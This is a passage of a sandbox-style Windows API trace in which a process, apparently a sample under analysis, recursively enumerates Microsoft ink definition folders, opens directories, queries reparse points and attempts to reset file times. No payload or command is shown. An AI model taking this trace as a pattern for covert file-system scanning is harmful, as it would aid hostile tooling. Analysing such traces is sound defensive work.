Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902818 [0234.322] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.322] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9045d8 [0234.322] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903dc0 [0234.322] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.322] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0234.322] GetLastError () returned 0x12 [0234.322] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0234.322] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0234.322] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.322] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0234.322] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0234.322] GetLastError () returned 0x12 [0234.322] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902710) returned 1 [0234.322] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.322] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902818) returned 1 [0234.322] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.322] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0234.322] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0234.322] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0234.323] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0234.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904f68 [0234.323] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904f68, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x904f68, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0234.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904f68) returned 1 [0234.323] NtClose (Handle=0x1bc) returned 0x0 [0234.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902818 [0234.323] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0234.323] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.323] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0234.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902710 [0234.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9045f8 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903ec8 [0234.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.324] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904618 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903fd0 [0234.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.324] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904638 [0234.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9040d8 [0234.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3c0) returned 0x8ffe90 [0234.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904be0) returned 1 [0234.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.325] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0234.325] GetLastError () returned 0x12 [0234.325] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0234.325] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.325] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.325] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0234.325] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0234.325] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0234.325] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0234.325] GetLastError () returned 0x12 [0234.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902818) returned 1 [0234.325] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0234.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902710) returned 1 [0234.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.325] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0234.325] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0234.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.325] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0234.496] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0234.496] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904be0 [0234.496] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904be0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x904be0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0234.496] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904be0) returned 1 [0234.496] NtClose (Handle=0x1b4) returned 0x0 [0234.497] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.497] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902710 [0234.497] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0234.497] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.497] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0234.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.497] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.497] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902818 [0234.497] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904658 [0234.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9041e0 [0234.497] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.497] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0234.497] GetLastError () returned 0x12 [0234.497] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0234.498] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0234.498] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.498] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0234.498] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0234.498] GetLastError () returned 0x12 [0234.498] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902710) returned 1 [0234.498] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.498] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902818) returned 1 [0234.498] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.498] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0234.498] FindNextFileW (in: 